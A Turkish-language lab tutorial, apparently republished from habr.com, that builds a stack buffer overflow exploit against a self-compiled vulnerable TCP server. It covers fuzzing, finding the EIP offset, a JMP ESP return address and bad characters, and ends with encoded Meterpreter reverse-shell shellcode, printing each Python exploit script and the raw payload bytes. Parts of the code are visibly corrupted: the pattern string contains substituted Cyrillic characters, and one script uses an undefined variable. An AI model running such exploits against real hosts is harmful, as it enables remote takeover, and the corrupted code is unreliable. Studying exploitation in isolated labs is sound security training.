Binary kod meraklıları ve buffer overflow saldırısı pratiği yapmak isteyen kişilere merhaba!

Bu makalede, zafiyet belirleme sürecinden, ele geçirilmiş ana bilgisayardan reverse shell alınmasına kadar olan tüm süreci ayrıntılı olarak inceleyeceğiz.

Özellikle bu örnek için, 3301 numaralı port üzerinden bağlantıları kabul eden bir zafiyetli TCP sunucusu derledim.

Gerekli olanlar:
  • Hedef makine. Windows 7 tabanlı olabilir. (Ana işletim sisteminde zafiyetli sunucuyu çalıştırmamak için bunu tercih ettim.)
  • Hata ayıklama araçları (Immunity Debugger, mona.py - Exploit geliştirirken belirli aramaları otomatikleştirmek ve hızlandırmak için kullanılabilen Python betiği.)
  • Zafiyetli TCP sunucusu (GitHub'dan indirebilirsiniz).
  • Saldırgan makine: Kali Linux.
3ae854f5b82f937bfbc173cfb43bfa2d.webp


İşleme geçelim:

d6fcf4943ab27ef6b94e92990fde2a4d.webp



b5676e3f71ba3dfb075c7279c25bb96a.webp


“Blacbox” formatını simüle etmek için hedef sunucumuzu, bir Kali makinesinden tarayalım:

5ff38a0c785514857354a52ac4687ebd.webp


3301 numaralı bağlantı noktasının açık ve erişilebilir olduğundan emin olun. Bağlanmaya çalışalım:

468f3144a52ad4f75fc084bccf4f06cf.webp


"HELP" komutunu girdikten sonra, kullanabileceğimiz komutların bir listesini görüyoruz. Şimdi hangi komutun kullanılmasıyla bir buffer overflow oluşturabileceğimizi belirlememiz gerekiyor. Bunun için fazzing tekniğini kullanacağız. (Fuzzing - Yazılım testi tekniği, genellikle otomatik veya yarı otomatik olarak, uygulamaya yanlış, beklenmedik veya rastgele veri girişi sağlama işlemidir.)

Her komutta 3000 karakter uzunluğunda bir argüman kullanacağız. Örneğin, "A" karakterleri. Küçük bir Python betiği yazalım:

Python:
import socket
import sys

buffer = 'A' * 3000
command = 'BRUN '
data = command + buffer

print('[*] Sending data: ' + data)
s = socket.create_connection(('192.168.5.148', 3301))
s.sendall(data.encode())
s.close()

Komutların her birini kontrol ederken, BRUN komutunda iletilen 3000 karakter uzunluğundaki argümanın sunucunun çökmesine yol açtığı ortaya çıktı:

b663d7087134dc6a1b0d81d273135b19.webp


Şimdi sunucuyu yeniden başlatalım, hata ayıklayıcıyı açalım, işlemi bağlayalım ve betiğimizi tekrar çalıştıralım.

a07c3ca5ead02d4ad1abb1cc28279106.webp


869e7ecf7214f187b1f7d66e82d168b9.webp


Gördüğümüz gibi, EIP kaydı "A" karakterleriyle üzerine yazılmış. Bu şekilde, basit bir fuzzer kullanarak uygulamadaki bir zafiyeti keşfettik! Bir yazılım hatası oluştuğunda, bu genellikle yığın taşmasıyla sonuçlanır. Bu, merkezi işlem birimini kandırmak ve istediğimiz herhangi bir kodu çalıştırmak için kullanabileceğimiz bir fırsat sunar.

Şimdi, shell kodumuzun yerini bulmamız gerekiyor. Bir sonraki adımımız, EIP kaydını üzerine yazan 4 baytı belirlemek olacak. Bunu yapmak için, "A" karakterlerinin yerine göndermek üzere benzersiz bir dize oluşturacağız, bunu şu komutla yapabiliriz:

8479b4c243e13025719a393c80ca811e.webp


Daha önce oluşturulan satırı ekleyerek betiğimizi değiştirelim:


Python:
import socket
import sys

buffer = 'Aa Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1AC2Ac3Ac4
Ac5Ac6Ac7Ac8AC9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Aе5Aе6Aе7Ae8Ae9
AfØAf1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah Ah1Ah2Ah3Ah4
Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A15Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1AK2Ak3Ak4Ak5Ak6Ak7Ak8AK9A10A11A12A13A14A15A16A17A18A19Am0Am1Am2Am3Am4
Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9A00A01A02A03A04A05A06A07A08A09
Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4
Ar5Ar6Ar7Ar8Ar9As0As1As2AsẞBAS4As5As6As7As8As9At@At1At2At3At4At5At6At7At8At9
Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4
Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Aу0Ay1Ay2Ay3Ay4Ay5Aу6Ay7Ay8Aу9
Az0AZ1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2BaзBa4Ba5BaбBа7Bа8Bа9BbBb1Bb2Bb3Bb4
Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6BC7Bc8BC9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9
BeBe1Be2Be3Be4Be5Bе6Bе7Be8Bе9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4
Bg5Bg6Bg7Bg8Bg9BhоBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2BiзBi4Bi5B16Bi7Bi8Bi9
BjøBj1Bj2BjзBj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5BK6BK7Bk8Bk9B10B11B12B13B14
B15B16B17B18B19BM0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9
B00B01B02B03B04B05B06B07B08Bо9Bр0Bр1Bр2BpзBр4Bр5BрбBр7Bр8Bр9Bq0Bq1Bq2Bq3Bq4
Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9
BtoBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5BuбBu7Bu8Bu9Bv0BV1Bv2Bv3Bv4
Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9BX0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9
Bу0Bу1Bу2BузBу4Bу5BубBу7Bу8Bу9Bz0Bz1BZ2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4
Ca5CaбCa7ca8Ca9Cb0cb1Cb2Cb3Cb4cb5cb6cb7cb8cb9cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9
CdCd1Cd2Cd3Cd4cd5Cd6cd7Cd8cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8ce9cf0cf1Cf2Cf3cf4
Cf5cf6cf7cf8cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9
сіосі1сі2сізсіCi5C16Ci7Ci8Ci9Cjocj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9ckockick2ck3ck4 Ck5Ck6Ck7Ck8Ck9c10c11c12c13c14c15c16c17c18c19cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9'

Sunucuyu yeniden başlatıp ve betiğimizi çalıştıralım:

4bc039a793f7bd4cf63f94b21684e9b2.webp


EIP'de yeni bir değer görüyoruz: 43396F43. Dizgemizdeki ofseti belirlemek için msf-pattern_offset komutunu kullanalım:

7fa21ce246e1e9ec8d31e7442949e423.webp


Offset, 2007 bayt olarak belirlendi. EIP kaydını kontrol ettiğimizden emin olmak için, saldırı betiğimizin kodunu aşağıdaki gibi yeniden yazalım: EIP'yi "B" ile 4 bayt üzerine yazmayı deneyeceğiz ve kalan baytları "C" ile dolduracağız:

Python:
import socket
import sys

data1 = 'A' * 2007
eip = 'B' * 4
data2 = 'C' * (3000 - len(data1) - len(eip))
buf = data1 + eip + data2
command = 'BRUN '
data = command + buf

print('[*] Sending data: ' + data)
s = socket.create_connection(('192.168.5.148', 3301))
s.sendall(data.encode())
s.close()

Exploit'i çalıştıralım:

7773e715b7e5ac54f8c57cc04d8c41d6.webp


ESP kaydının "C" tamponunun başlangıcını işaret ettiğini görüyoruz, bu da bizim payload'umuzun içine yerleştirdiğimiz 4 "B" baytından hemen sonra geliyor.

Şu anda EIP kaydı üzerinde kontrol sağlıyoruz. Bir sonraki görevimiz, çökme sırasında ESP kaydının işaret ettiği bellek adresine yönlendirmek için bir yol bulmaktır. En doğru yaklaşım, EIP'yi değiştiren "B" karakterlerini çökme sırasında ESP kaydının gösterdiği bir bellek adresine değiştirmeye çalışmaktır. Ancak, ESP değeri bir çökmeden diğerine değişir, bu nedenle belirli bir stack adresinin hard coded olması güvenilir bir yöntem olmayacaktır.

Shellcode'umuzu ESP'nin işaret ettiği adrese saklayabiliriz ancak bu kodun çalıştırılması için bir yol gerekir. Bir çözüm, ESP'yi hedefleyen JMP ESP talimatını kullanmaktır, adından da anlaşılacağı gibi, ESP'ye yönlendirilmiş bir adrese "atlama" yapar. Eğer bu talimatın bulunduğu bir adresi bulabilirsek, EIP'yi bu adrese yönlendirebilir ve çökme anında JMP ESP talimatı çalıştırılır. Bu atlama, akışı shellcode'umuza yönlendirecektir. Windows'taki birçok kütüphane bu sıkça kullanılan talimatı içerir, ancak kütüphanedeki adresler statiktir ve ASLR desteği olan kütüphaneler hariç bütün kütüphaneler kullanılabilir. Ayrıca, talimatın bulunduğu adres "kötü" karakterler içermemelidir, çünkü adres giriş tamponumuzun bir parçası olacaktır.

Görevi basitleştirmek için sistem düzeyinde ASLR ve DEP'yi devre dışı bıraktım. ASLR/DEP atlatma ayrı bir konudur ve ayrı bir makaleyi hak eder.

Şimdi ilk olarak, savunmasız sunucumuza yüklenen tüm DLL kitaplıkları hakkında bilgi almak için !mona modules komutunu kullanacağız.

248c971d74f73b8ff85d560b9125b4d2.webp


d388d2f101e3c71073e1add84dd32fab.webp


lib.dll'yi buluyoruz (Bu dosya, Server_B0f.exe'nin hemen yanında bulunur.) İçinde JMP ESP'yi bulmaya çalışalım:

272517b41dfa74393f936ec3bfed4d00.webp


Örneğin 0x62501559 adresindeki JMP ESP komutunu seçelim. Adrese gidelim ve talimatların mevcut olduğundan emin olalım:

11e3c36ba2fdaebf4c32576f464cf03a.webp


Exploitimizi güncelleyelim ve EIP'yi Little Endian formatında JMP ESP talimatının adresiyle değiştirelim.

Python:
import socket
import sys

pre_padding = 'A' * 2007
eip = '\x59\x15\x50\x62'
data2 = 'C' * (3000 - len(data1) - len(eip))
buffer = pre_padding + eip + data2
command = 'BRUN '
data = command + buffer

print('[*] Sending data: ' + data)
s = socket.create_connection(('192.168.5.147', 3301))
s.sendall(data.encode())
s.close()

Dikkatinizi şu noktada çekmek isterim ki, bellekte adreslerin depolanma biçimi genellikle işletim sistemi mimarisine bağlıdır. Little endian şu anda x86 mimarisinde en yaygın olarak kullanılan formattır.

Exploit'i başlatıp EIP kaydını başarılı bir şekilde değiştirdiğimizi doğrulayalım.

5ce140f0a4beb9cc915cd15080333c02.webp


Python:
import socket
import sys

data1 = 'A' * 2007
eip = '\x59\x15\x50\x62'
badchr = ('\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10'
          '\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
          '\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2F\x30'
          '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
          '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
          '\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
          '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6E\x6F\x70'
          '\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x74\x70\x7f\x80'
          '\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
          '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
          '\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
          '\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
          '\xc1\xc2\xC3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
          '\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
          '\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
          '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff')

buffer = data1 + eip + badchr
command = 'BRUN '
data = command + buffer

print('[*] Sending data: ' + data)
s = socket.create_connection(('192.168.5.147', 3301))
s.sendall(data.encode())
s.close()

Sunucuyu yeniden başlatalım, hata ayıklayıcıyı bağlayalım ve daha önce bulunan JMP ESP talimatına bir breakpoint (F2) ayarlayalım:

29d25158de0adee12e2f41f9cf61a984.webp


Exploit'i çalıştıralım:

753f64ed70465f77e0147d47fc90440b.webp


Görüldüğü üzere, hata ayıklayıcıda herhangi bir karakterin bozulmadığına dair bir işaret yok.

Şimdi shellcode'un oluşturulması ve güncellenmesine geçelim. Shellcode oluşturmak için msfvenom komutunu kullanacağız. Meterpreter kullanacağız, IP adresimizi ve dinleyici portumuzu belirteceğiz. Metasploit'te shellcode'un yürütülmesinden sonra varsayılan olarak ExitProcess fonksiyonu kullanılır, bu tüm hizmet sürecini sonlandırır. Bu durumun önüne geçmek için yalnızca etkilenen program iş parçacığını sonlandıran ExitThread'i kullanabiliriz. Bu, exploitimizin etkilenen sunucunun normal işleyişini kesintiye uğratmadan çalışmasına izin verecektir. "Kötü" bir karakter olarak "0x00" (Başka bir karakter bulunamadığı için) belirleyeceğiz. Ayrıca, yararlı yükümüzü kodlamak için xor_dynamic (Dinamik boyutlu XOR kodlayıcı) kodlayıcıyı belirteceğiz.

ccc825086dfcdb7351f2276c22cd2644.webp


Shellcode'umuz 421 bayt oldu.

Exploitimizi güncelleyerek NOP'ları ekleyelim (Güvenilirlik için 32 NOP ekleyeceğiz, ancak daha az da kullanabiliriz):

Python:
data1 = 'A' * 2007
eip = '\x59\x15\x50\x62'
nops = '\x90' * 32
buf = ("\xeb\x23\x5b\x89\xdf\xb0\xfb\xfc\xae\x75\xfd\x89"
       "\xf9\x89\xde\x8a\x06\x30\x07\x47\x66\x81\x3f\xf0"
       "\xbf\x74\x08\x46\x80\x3e\xfb\x75\xee\xeb\xea\xff"
       "\xe1\xe8\xd8\xff\xff\xff\x09\xfb\xf5\xe1\x86\x09"
       "\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82"
       "\x5b\x05\x82\x5b\x1d\x06\xbe\x43\x2F\x38\xf6\x82"
       "\x76\x21\x38\xc9\xa5\x35\x68\x75\x0b\x25\x29\xc8"
       "\xc6\x04\x08\xce\x40\x7c\xe6\x5b\x82\x5b\x19\x82"
       "\x4b\x35\x08\xd9\x82\x49\x71\x5e\x8c\xc9\x7d\x45"
       "\x08\xd9\x82\x41\x11\x82\x51\x29\x08\xda\x59\x8c"
       "\xc0\x7d\x35\x40\x82\x3d\x82\x08\xdf\x38\xf6\x38"
       "\xc9\xc8\xc6\x04\xa5\x08\xce\x31\xe9\x7c\xfd\x0a"
       "\x74\xf1\x32\x74\x2d\x7c\xe9\x51\x82\x51\x2d\x08"
       "\xda\x6F\x82\x05\x42\x82\x51\x15\x08\xda\x82\x0d"
       "\x82\x08\xd9\x80\x4d\x2d\x2d\x52\x52\x68\x50\x53"
       "\x58\xf6\xe9\x51\x56\x53\x82\x1b\xe0\x89\xf6\xf6"
       "\xf6\x54\x61\x3a\x3b\x09\x09\x61\x7e\x7a\x3b\x56"
       "\x5d\x61\x45\x7e\x2f\x0e\x80\xe1\xf6\xd9\x61\x99"
       "\x08\x09\x09\x20\xcd\x5d\x59\x61\x20\x89\x62\x09"
       "\xf6\xdc\x63\x03\x61\xc9\xa1\x0c\x83\x61\x0b\x09"
       "\x13\x03\x80\xef\x59\x59\x59\x59\x49\x59\x49\x59"
       "\x61\xe3\x06\xd6\xe9\xf6\xdc\x9e\x63\x19\x5f\x5e"
       "\x61\x90\xac\x7d\x68\xf6\xdc\x8c\xc9\x7d\x03\xf6"
       "\x47\x01\x7c\xe5\xe1\x6E\x09\x09\x09\x63\x09\x63"
       "\x0d\x5f\x5e\x61\x0b\xd0\xc1\x56\xf6\xdc\x8a\xf1"
       "\x09\x77\x3f\x82\x3f\x63\x49\x61\x09\x19\x09\x09"
       "\x5f\x63\x09\x61\x51\xad\x5a\xec\xf6\xdc\x9a\x5a"
       "\x63\x09\x5f\x5a\x5e\x61\x0b\xd0\xc1\x56\xf6\xdc"
       "\x8a\xf1\x09\x74\x21\x51\x61\x09\x49\x09\x09\x63"
       "\x09\x59\x61\x02\x26\x06\x39\xf6\xdc\x5e\x61\x7c"
       "\x67\x44\x68\xf6\xdc\x57\x57\xf6\x05\x2d\x06\x8c"
       "\x79\xf6\xf6\xf6\xe0\x92\xf6\xf6\xf6\x08\xca\x20"
       "\xcf\x7c\xc8\xca\xb2\xe9\x14\x23\x03\x61\xaf\x9c"
       "\xb4\x94\xf6\xdc\x35\x0f\x75\x03\x89\xf2\xe9\x7c"
       "\x0c\xb2\x4e\x1a\x7b\x66\x63\x09\x5a\xf6\xdc\xf0"
       "\xbf")
buffer = data1 + eip + nops + buf
command = 'BRUN '
data = command + buffer

print '[*] Sending data: ' + data

Şifreleme nedeniyle (bizim durumumuzda, xor_dynamic), shellcode yürütülebilir olmadığından ve bu nedenle bir dekoder placeholder ile tamamlanmıştır. Bu placeholder'ın işlevi, baytları orijinal yürütülebilir biçime çözmektir. Bizim durumumuzda shellcode şifreleme kullanıyor ve decoder şifreli bölümün mutlak adresini elde etmek zorundadır. Bunun için GetPC kodu kullanılır. GetPC kodu, çalışan bir sürecin adres uzayındaki konumunu hesaplayan bir koddur.

d6357e1d23c07d49d8b6a7a7d215a8ff.webp


GetPC prosedürü sonunda, ESP registerinin işaret ettiği adrese yakın en az birkaç baytı bozar. Maalesef, bu küçük değişiklik, çözümleyici için bir sorun oluşturur çünkü çözümleyici adresleme işlemcisini ESP kaydedicisinin işaret ettiği adresten başlatır. Kısacası, GetPC prosedürünün çalıştırılması, çözümleyicinin kendisinin birkaç baytını (Muhtemelen kodlanmış shell yükünü) değiştirir, bu da sonunda çözümleme sürecinin çökmesine ve hedef sürecin çökmesine yol açar.

Bu sorunu çözmenin bir yolu, JMP ESP için geniş bir "landing page" oluşturmaktır. Böylece, yürütme bu platformun herhangi bir yerine indiğinde, yararlı yükümüze geçer. Bu karmaşık görünebilir, ancak sadece yararlı yükümüzü bir dizi No Operation (NOP) talimatı ile takip ederek önceden hazırlarız, bunların opcode değeri 0x90'dır. Adından da anlaşılacağı gibi, bu talimatlar hiçbir şey yapmaz, yalnızca bir sonraki talimatın yürütülmesini sağlar. Bu, işlemcinin NOP'u atlayarak yürütmesine izin verirken, yararlı yükümüze ulaşana kadar "kaymasını" sağlar.

Şimdi, saldırı kodumuz tamamen hazır. Hedef makineden tersine mühendislik shell'ini almak için dinleyiciyi başlatalım.

fdabfb84e1ebaa06f3073197d0ab2764.webp


Exploit'imizi çalıştıralım:


8fb375cc7918fe747079d7e39e98a35a.webp


Sıfırdan bir buffer overflow zafiyeti için tamamen çalışan bir saldırı kodu oluşturduk ve Meterpreter ile tersine mühendislik shell'i aldık!

Okuduğunuz için teşekkür ederim.

Kaynak: habr.com
 
Son düzenleme: